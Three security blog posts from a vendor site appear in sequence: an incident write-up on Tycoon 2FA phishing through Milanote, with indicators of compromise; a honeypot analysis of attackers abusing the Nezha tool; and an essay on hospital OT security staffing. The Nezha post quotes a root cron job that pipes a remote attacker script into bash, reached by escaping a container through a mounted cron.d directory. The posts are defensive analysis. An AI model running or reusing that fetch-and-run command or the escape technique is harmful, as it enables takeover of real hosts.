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April 29, 2025

MFA Under Attack: AiTM Phishing Kits Abusing Legitimate Services

Tycoon 2FA uses AiTM phishing and legitimate services to bypass MFA. Darktrace AI stopped it, read the blog to learn how Self-Learning AI detects sophisticated threats.
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Alexandra Sentenac
Cyber Analyst
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29
Apr 2025

In late 2024 and early 2025, the Darktrace Security Operations Center (SOC) investigated alerts regarding separate cases of Software-as-a-Service (SaaS) account compromises on two customer environments that presented several similarities, suggesting they were part of a wider phishing campaign.

This campaign was found to leverage the project collaboration and note-taking application, Milanote, and the Tycoon 2FA phishing kit.

Legitimate services abused

As highlighted in Darktrace's 2024 Annual Threat Report [1], threat actors are abusing legitimate services, like Milanote, in their phishing campaigns. By leveraging these trusted platforms and domains, malicious actors can bypass traditional security measures, making their phishing emails appear benign and increasing the likelihood of successful attacks.

Darktrace categorizes these senders and platforms as free content senders. These services allow users to send emails containing custom content (e.g., files) from fully validated, fixed service address belonging to legitimate corporations. Although some of these services permit full body and subject customization by attackers, the structure of these emails is generally consistent, making it challenging to differentiate between legitimate and malicious emails.

What is Tycoon 2FA?

Tycoon 2FA is an Adversary-in-the-Middle (AitM) phishing kit, first seen in August 2023 and distributed via the Phishing-as-a-Service (PhaaS) model [2]. It targets multi-factor authentication (MFA) by intercepting credentials and MFA tokens during authentication on fake Microsoft or Google login pages. The attacker captures session cookies after MFA is completed, allowing them to replay the session and access the user account, even if credentials are reset. The rise in MFA use has increased the popularity of AitM phishing kits like Tycoon 2FA and Mamba 2FA, another AiTM phishing kit investigated by Darktrace.

Initial access via phishing email

At the beginning of 2025, Darktrace observed phishing emails leveraging Milanote being sent to multiple internal recipients in an organization. In this attack, the same email was sent to 19 different users, all of which were held by Darktrace.

The subject line of the emails mentioned both a legitimate internal user of the company, the company name, as well as a Milanote board regarding a “new agreement” in German. It is a common social engineering technique to mention urgent matters, such as unpaid invoices, expired passwords, or awaiting voicemails, in the subject line to prompt immediate action from the user. However, this tactic is now widely covered in phishing awareness training, making users more suspicious of such emails. In this case, while the subject mentioned a “new agreement,” likely raising the recipient’s curiosity, the tone remained professional and not overly alarming. Additionally, the mention of a colleague and the standardized language typical of free content sender emails further helped dispel concerns regarding the email.

These emails were sent by the legitimate address support@milanote[.]com and referenced "Milanote" in the personal field of the header but originated from the freemail address “ahnermatternk.ef.od.13@gmail[.]com”. Darktrace / EMAIL recognized that none of the recipients had previously received a file share email from Milanote, making this sender unfamiliar in the customer's email environment

The emails contained several benign links to legitimate Milanote endpoints (including an unsubscribe link) which were not flagged by Darktrace. However, they also included a malicious link designed to direct recipients to a pre-filled credential harvesting page hosted on Milanote, prompting them to register for an account. Despite not blocking the legitimate Milanote links in the same email, Darktrace locked the malicious link, preventing users from visiting the credential harvester.

Credential harvesting page sent to recipients, as seen in. sandbox environment.
Figure 1: Credential harvesting page sent to recipients, as seen in. sandbox environment.

Around one minute later, one recipient received a legitimate email from Milanote confirming their successful account registration, indicating they had accessed the phishing page. This email had a lower anomaly score and was not flagged by Darktrace / EMAIL because, unlike the first email, it did not contain any suspicious links and was a genuine account registration notification. Similarly, in the malicious Milanote email, only the link leading to the phishing page was blocked, while the benign and legitimate Milanote links remained accessible, demonstrating Darktrace’s precise and targeted actioning.

A legitimate and a malicious Milanote email received by one recipient.
Figure 2: A legitimate and a malicious Milanote email received by one recipient.

Around the same time, Darktrace / NETWORK observed the same user’s device making DNS query for the domain name “lrn.ialeahed[.]com” , which has been flagged as a Tycoon 2FA domain [2], suggesting the use of this phishing platform.

Once the user had entered their details in the credential harvester, it is likely that they were presented a document hosted on Milanote that contained the final payload link – likely hidden behind text instructing users to access a “new agreement” document.

External research indicates that the user was likely directed to a Cloudflare Turnstile challenge meant to reroute unwanted traffic, such as automated security scripts and penetration testing tools [2] [3]. After these checks and other background processes are completed, the user is directed to the final landing page. In this case, it was likely a fake login prompt hosted on the attacker’s server, where the user is asked to authenticate to their account using MFA. By burrowing malicious links and files in this manner, threat actors can evade analysis by traditional security email gateways, effectively bypassing their protection.

Darktrace’s analysis of the structure and word content of the phishing emails resulted in an 82% probability score that the email was malicious, and the email further received a 67% phishing inducement score, representing how closely the structure and word content of the emails compared to typical phishing emails.

All these unusual elements triggered multiple alerts in Darktrace / EMAIL, focusing on two main suspicious aspects: a new, unknown sender with no prior correspondence with the recipients or the environment, and the inclusion of a link to a previously unseen file storage solution.

Milanote phishing email as seen within Darktrace / EMAIL.
Figure 3: Milanote phishing email as seen within Darktrace / EMAIL.

After detecting the fifth email, the “Sender Surge” model alert was triggered in Darktrace / EMAIL due to a significant number of recipients being emailed by this new suspicious sender in a short period. These recipients were from various departments across the customer’s organization, including sales, marketing, purchasing, and production. Darktrace / EMAIL determined that the emails were sent to a highly unusual group of internal recipients, further raising doubts about the business legitimacy.

Darktrace / EMAIL suggested actions to contain the attack by holding all Milanote phishing emails back from recipient’s inboxes, except for the detailed email with locked links. However, autonomous actions were not enabled at the time, allowing the initial email to reach recipients' inboxes, providing a brief window for interaction. Unfortunately, during this window, one recipient clicked on the Milanote payload link, leading to the compromise of their account.

SaaS account takeover

About three minutes after the malicious Milanote email was received, Darktrace / IDENTITY detected an unusual login to the email recipient’s SaaS account. The SaaS actor was observed accessing files from their usual location in Germany, while simultaneously, a 100% rare login occurred from a location in the US that had never been seen in the customer’s environment before. This login was also flagged as suspicious by Microsoft 365, triggering a 'Conditional Access Policy' that required MFA authentication, which was successfully completed.

Tycoon 2FA adnimistration panel login page dated from October 2023 [3].
Figure 4: Tycoon 2FA adnimistration panel login page dated from October 2023 [3].

Despite the successful authentication, Darktrace / IDENTITY recognized that the login from this unusual location, coupled with simultaneous activity in another geographically distant location, were highly suspicious. Darktrace went on to observe MFA-validated logins from three separate US-based IP addresses: 89.185.80[.]19, 5.181.3[.]68, and 38.242.7[.]252. Most of the malicious activity was performed from the latter, which is associated with the Hide My Ass (HMA) VPN network [5].

Darktrace’s detection of the suspicious login from the US while the legitimate user was logged in from Germany.
Figure 5: Darktrace’s detection of the suspicious login from the US while the legitimate user was logged in from Germany.
Darktrace’s detection of the suspicious login following successful MFA authentication.
Figure 6: Darktrace’s detection of the suspicious login following successful MFA authentication.

Following this, the malicious actor accessed the user’s inbox and created a new mailbox rule named “GTH” that deleted any incoming email containing the string “milanote” in the subject line or body. Rules like this are a common technique used by attackers to leverage compromised accounts for launching phishing campaigns and concealing replies to phishing emails that might raise suspicions among legitimate account holders. Using legitimate, albeit compromised, accounts to send additional phishing emails enhances the apparent legitimacy of the malicious emails. This tactic has been reported as being used by Tycoon 2FA attackers [4].

The attacker accessed over 140 emails within the legitimate user’s inbox, including both the inbox and the “Sent Items” folder. Notably, the attacker accessed five emails in the “Sent Items” folder and modified their attachments. These emails were mainly related to invoices, suggesting the threat actor may have been looking to hijack those email threads to send fake invoices or replicate previous invoice emails.

Darktrace’s Cyber AI AnalystTM launched autonomous investigations into the individual events surrounding this suspicious activity. It connected these separate events into a single, broad account takeover incident, providing the customer with a clearer view of the ongoing compromise.

Cyber AI Analyst’s detection of unusual SaaS account activities in a single incident.
Figure 7: Cyber AI Analyst’s detection of unusual SaaS account activities in a single incident.
Cyber AI Analyst investigation of suspicious activities performed by the attacker.
Figure 8: Cyber AI Analyst investigation of suspicious activities performed by the attacker.

Darktrace's response

Within three minutes of the first unusual login alert, Darktrace’s Autonomous Response intervened, disabling the compromised user account for two hours.

As the impacted customer was subscribed to the Managed Threat Detection Service, Darktrace’s SOC team investigated the activity further and promptly alerted the customer’s security team. With the user’s account still disabled by Autonomous Response, the attack was contained, allowing the customer’s security team valuable time to investigate and remediate. Within ten minutes of receiving the alert from Darktrace’s SOC, they reset the user’s password, closed all active SaaS sessions, and deleted the malicious email rule. Darktrace’s SOC further supported the customer through the Security Operations Service Support service by providing information about the data accessed and identifying any other affected users.

Autonomous Response actions carried out by Darktrace / IDENTITY to contain the malicious activity
Figure 9: Autonomous Response actions carried out by Darktrace / IDENTITY to contain the malicious activity.

A wider Milanote phishing campaign?

Around a month before this compromise activity, Darktrace alerted another customer to similar activities involving two compromised user accounts. These accounts created new inbox rules named “GFH” and “GVB” to delete all incoming emails containing the string “milanote” in their subject line and/or body.

The phishing emails that led to the compromise of these user accounts were similar to the ones discussed above. Specifically, these emails were sent via the Milanote platform and referenced a “new agreement” (in Spanish) being shared by a colleague. Additionally, the payload link included in the phishing emails showed the same UserPrincipalName (UPN) attribute (i.e., click?upn=u001.qLX9yCzR), which has been seen in other Milanote phishing emails leveraging Tycoon 2FA reported by OSINT sources [6]. Interestingly, in some cases, the email also referenced a “new agreement” in Portuguese, indicating a global campaign.

Based on the similarities in the rule’s naming convention and action, as well as the similarities in the phishing email subjects, it is likely that these were part of the same campaign leveraging Milanote and Tycoon 2FA to compromise user accounts. Since its introduction, the Tycoon 2FA phishing kit has undergone several enhancements to increase its stealth and obfuscation methods, making it harder for security tools to detect. For example, the latest versions contain special source code to obstruct web page analysis by defenders, prevent users from copying meaningful text from the phishing webpages, and disable the right-click menu to prevent offline analysis [4].

Conclusion

Threat actors are continually employing new methods to bypass security detection tools and measures. As highlighted in this blog, even robust security mechanisms like MFA can be compromised using AitM phishing kits. The misuse of legitimate services such as Milanote for malicious purposes can help attackers evade traditional email security solutions by blurring the distinction between legitimate and malicious content.

This is why security tools based on anomaly detection are crucial for defending against such attacks. However, user awareness is equally important. Delays in processing can impact the speed of response, making it essential for users to be informed about these threats.

[related-resource]

Appendices

References

[1] https://www.darktrace.com/resources/annual-threat-report-2024

[2] https://www.validin.com/blog/tycoon_2fa_analyzing_and_hunting_phishing-as-a-service_domains

[3] https://blog.sekoia.io/tycoon-2fa-an-in-depth-analysis-of-the-latest-version-of-the-aitm-phishing-kit/#h-iocs-amp-technical-details

[4] https://blog.barracuda.com/2025/01/22/threat-spotlight-tycoon-2fa-phishing-kit

[5] https://spur.us/context/38.242.7.252    

[6] https://any.run/report/5ef1ac94e4c6c1dc35579321c206453aea80d414108f9f77abd2e2b03ffbd658/be5351d9-53c0-470b-8708-ee2e29300e70

Indicators of Compromise (IoCs)

IoC         Type      Description + Probability

89.185.80[.]19 - IP Address - Malicious login

5.181.3[.]68 - IP Address -Malicious login

38.242.7[.]252 - IP Address - Malicious login and new email inbox rule creation -  Hide My Ass VPN

lrn.ialeahed[.]com – Hostname - Likely Tycoon 2FA domain

Darktrace Model Detections

Email alerts

Platforms / Free Content Sender + High Sender Surge

Platforms / Free Content Sender + Sender Surge

Platforms / Free Content Sender + Unknown Initiator

Platforms / Free Content Sender

Platforms / Free Content Sender + First Time Recipient

Unusual / New Sender Surge

Unusual / Sender Surge

Antigena Anomaly / High Antigena Anomaly

Association / Unknown Sender

History / New Sender

Link / High Rarity Link to File Storage

Link/ Link To File Storage

Link / Link to File Storage + Unknown Sender

Link / Low Link Association

Platforms / Free Content Sender + First Time Initiator

Platforms / Free Content Sender + Unknown Initiator + Freemail

Platforms / Free Content Sender Link

Unusual / Anomalous Association

Unusual / Unlikely Recipient Association

IDENTITY

SaaS / Access / Unusual External Source for SaaS Credential Use

SaaS / Compromise / Login from Rare High Risk Endpoint

SaaS / Access / M365 High Risk Level Login

SaaS / Compromise / Login From Rare Endpoint While User Is Active

SaaS / Access / MailItemsAccessed from Rare Endpoint

SaaS / Unusual Activity / Multiple Unusual SaaS Activities

SaaS / Unusual Activity / Multiple Unusual External Sources For SaaS Credential

SaaS / Compliance / Anomalous New Email Rule

SaaS / Compromise / Unusual Login and New Email Rule

SaaS / Compromise / SaaS Anomaly Following Anomalous Login

Antigena / SaaS / Antigena Suspicious SaaS Activity Block

Antigena / SaaS / Antigena Enhanced Monitoring from SaaS User Block

Antigena / SaaS / Antigena Unusual Activity Block

Antigena / SaaS / Antigena Suspicious SaaS and Email Activity Block

Cyber AI Analyst Incident

Possible Hijack of Office365 Account

MITRE ATT&CK Mapping

Tactic – Technique

DEFENSE EVASION, PERSISTENCE, PRIVILEGE ESCALATION, INITIAL ACCESS - Cloud Accounts

INITIAL ACCESS - Phishing

CREDENTIAL ACCESS - Steal Web Session Cookie

PERSISTENCE - Account Manipulation

PERSISTENCE - Outlook Rules

RESOURCE DEVELOPMENT - Email Accounts

RESOURCE DEVELOPMENT - Compromise Accounts

Experts breakdown of Identity Security in the Cloud Era

This white paper discusses the current identity threat landscape and how defenders can adopt new tools to better secure their users and data.

Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Alexandra Sentenac
Cyber Analyst

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June 10, 2026

How Attackers Abuse the Chinese Nezha Monitoring Tool

nezha monitoring toolDefault blog imageDefault blog image

What is Nezha?

Nezha is an open-source tool that allows system administrators to centrally monitor multiple servers, including their resource usage such as CPU and network usage, and uptime. The tool also enables remote administrative access via an interactive shell.

The project has just under 10,000 stars on GitHub and has seen widespread adoption in the Chinese IT community, with many forum posts providing guides on installation and usage.

However, Nezha’s status as a legitimate executable that has remote access capabilities creates an opportunity for misuse. Instead of deploying a regular command-and-control (C2) implant, attackers can deploy Nezha directly on compromised hosts. As these deployments are functionally indistinguishable from legitimate installations, they can blend into expected operational tooling and evade detection.

Darktrace’s analysis of a Nezha infection

Darktrace operates several high-interaction honeypots to observe attacker techniques and behaviors. Darktrace analysts observed an intrusion against the Docker-based honeypot, initiated with a malicious container create command.

 The malicious container create command.
Figure 1: The malicious container create command.

Docker allows any host file or directory to be passed through to a container, granting read and write access. In this case, the attacker made use of this to pass through the cron.d directory, which is used to schedule recurring tasks, such as maintenance or backup commands.

These commands and timings are stored in the cron.d directory, which the attacker can now write to because it is passed through to their malicious container. By writing a job to this directory from within the container, the cron service running on the host detects the new job and executes it on the host, effectively allowing the attacker to escape the container.

The attacker the created a malicious cron job named ngk:
* * * * * root curl hxxps://file.gpu5[.]com/linux_install.sh | bash

This resulted in the host downloading and running the linux_install.sh file with root privileges.

The linux_install script installs several dependencies, sets up environmental variables, and retrieves a second-stage script (nezha_install.sh) from the same domain.

The linux_install script.
Figure 2: The linux_install script.

The nezha_install.sh script based on the official Nezha installer but has been modified to hard code configuration values, such as the server address, and to remove interactive prompts, allowing it to be installed without user input.

Open by design

One of Nezha’s most interesting design choices is that its main monitoring panel does not require authentication to view a list of monitored hosts. This exposes a list of compromised systems via the attacker-controlled panel, enabling direct observation of the operation’s scale, victimology and infrastructure.

The attacker’s Nezha dashboard.
Figure 3: The attacker’s Nezha dashboard.

At the time of analysis, the campaign had infected 141 servers, with 45 still online and accessible.  The number of online servers was previously higher, suggesting that some victims may have discovered and removed the infection.

The exposed dashboard provides insights into victim characteristics, including geographic distribution, hardware specification, and resource usage. Most infected hosts were low-spec systems, commonly one or two core Xeon CPUs and less than 4GB of RAM, indicating they were likely small virtual private servers (VPS) with limited value to the attacker.

Many systems also exhibited 100% CPU usage, which may indicate concurrent compromise, such as cryptocurrency mining activity by other threat actors.

Open-source intelligence platforms such as Shodan and Censys can also identify publicly exposed instances of Nezha. Although authentication is required to execute commands on a monitored server, visibility into dashboards still provides valuable intelligence for attackers and defenders alike.

At the time of writing, Darktrace identified 33 internet-facing Nezha installations as openly accessible.

Key takeaways

The abuse of legitimate software has become a consistent feature of modern intrusion activity, enabling attackers to operate without deploying traditional malware and reducing the risk of detection.

This creates a form of “trust inversion”, where tools typically associated with routine operations may instead indicate malicious activity when deployed outside expected contexts. Organizations should therefore prioritize asset visibility and software governance, ensuring that unexpected tool deployments can be identified and investigated, rather than focusing solely on malware-centric detection.

This challenge is especially pronounced in cloud environments, where legitimate monitoring tools may represent either essential software or an attacker backdoor. The scale and dynamic nature of cloud environments further complicate distinguishing between benign and malicious use.

Credit to Nathaniel Bill (Malware Research Engineer)
Edited by Ryan Traill (Content Manager)

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Nathaniel Bill
Malware Research Engineer

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June 9, 2026

Healthcare’s OT Cybersecurity Gap: Why Hospitals Must Make the Same Security Investments as Regulated Critical Infrastructures

healthcare OTDefault blog imageDefault blog image

Rethinking the healthcare attack surface

When most people think about Operational Technology (OT) cybersecurity, they think about oil & gas pipelines, utilities, manufacturing plants, or power grids. However, hospitals & healthcare systems have quickly become a point of focus in the OT cybersecurity community as they do employ a variety of OT in the form of IoMT (Internet of Medical Things) networked devices such as: infusion pumps, imaging systems, patient monitoring equipment, laboratory systems, and traditional industrial control systems (ICS) in the form of smart building management systems (BMS) and even on site power generation control systems. 

These healthcare environments are no longer just traditional IT ecosystems, they are cyber-physical environments where disruption can directly impact patient care, operational continuity, and ultimately patient safety.

The OT cybersecurity expertise gap in healthcare organizations

Our research in the OT cybersecurity space revealed a concerning trend. Many hospitals and healthcare networks lack dedicated OT cybersecurity teams, OT security full time employees (FTE) and even OT expertise in the form of OT security certifications when compared to other critical infrastructure sectors.

On the other hand, within industries such as energy and manufacturing, we encounter more mature OT security programs that employ full time employees  dedicated to OT cybersecurity with OT security certifications and expertise to secure industrial and operational environments and lead investment in OT security processes and technology.

When reviewing the top 20 U.S. Hospitals by market cap, given what is publicly available on LinkedIn, only one FTE with an OT cybersecurity certification was found. The certifications that were searched for include: GIAC GICSP, GIAC GRID, GIAC GCIP and all ISA/IEC 62443 certifications. When replicating this same search across the top 20 utility providers in the US, 73 FTEs with OT related certifications were identified. As a control group, we looked within financial services, an industry NOT expected to have OT systems worth investing in FTEs to protect. However, the top 20 US financial institutions had 18 FTEs with OT related certifications. 

What these findings reveal

Overall, the findings regarding healthcare investment in OT security FTEs are surprising given how operationally dependent modern healthcare has become on OT. So why aren't hospitals investing in OT security personnel at the rate of peer critical infrastructures? It could just be lack of awareness; however, there are other, more plausible reasons.  

Based on historical trends in cyber incidents within the healthcare space, one could speculate that there is significantly greater likelihood of being victim to an attack that  focuses on extortion or data theft rather than an attack on specific OT systems. The amount of ransomware events incurred in healthcare, that historically do not target OT systems, may divert attention and security investment to the parts of the attack surface most likely to be targeted by ransomware. Additionally, data theft is a relevant threat objective for hospitals given PHI, PCI and PII, and data theft does not traditionally align with attacks targeting OT.  

However, with focused investment to address data theft and with adversaries new capability to string together chains of vulnerabilities of different severity scores using advancements in AI, we could be entering a threat landscape where adversaries pivot their tactics to target exposed and under protected devices and systems like OT. For example, although not a patient records database, predominant IOMT protocols HL7 and DICOM are unencrypted plaintext protocols and unless encrypted it is very simple for adversaries, who are sniffing traffic, to identify protected health information (PHI) in these communication protocols.

Why OT cybersecurity expertise can be effective for healthcare organizations

The convergence of IT, OT, and IoMT is already here, and threat actors are increasingly aware of the operational vulnerabilities that come with it. Additionally, as AI solutions such as agentic or generative applications are adopted and deployed, the attack surface will continue to change as permissions, and new connections will exist to support AI efficiency. From a cybersecurity standpoint, the reality is that many healthcare organizations are still working to establish consistent visibility and governance across their enterprise-connected devices and systems as their attack surface is changing in real time.  As the healthcare sector remains a significant target for cyber-attacks, hospitals would be well advised to begin addressing their operational environments OT as a critical component of their attack surface and invest in securing them first with people, then process and technology. 

What can healthcare organizations do to secure their OT

Including OT in current cybersecurity processes such as red teaming and testing incident response plans that take OT into account alongside building dedicated OT security capabilities including improving OT network visibility, leveraging OT network anomaly detection, micro-segmentation, and secure remote access will become essential steps in strengthening healthcare resilience. 

However, before any of the above processes or investments in technology can be made, these healthcare organizations, like the other critical infrastructure sectors, need to invest in the people with the experience in OT security to lead, implement, manage and audit the investment in OT cybersecurity technology and processes.  In cases where headcount cannot be added, investment in OT security certifications, such as the ones listed in this article, and participation on OT security events focused on practitioner training for existing cybersecurity employees can move the needle in terms of bringing OT expertise to the existing team.  

In an industry where uptime and safety are as mission critical as they are for a power utility, OT cybersecurity FTEs can no longer be viewed as optional for healthcare organizations and must become part of the foundation of modern healthcare cybersecurity strategy. 

[related-resource]

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About the author
Daniel Simonds
Director of Operational Technology
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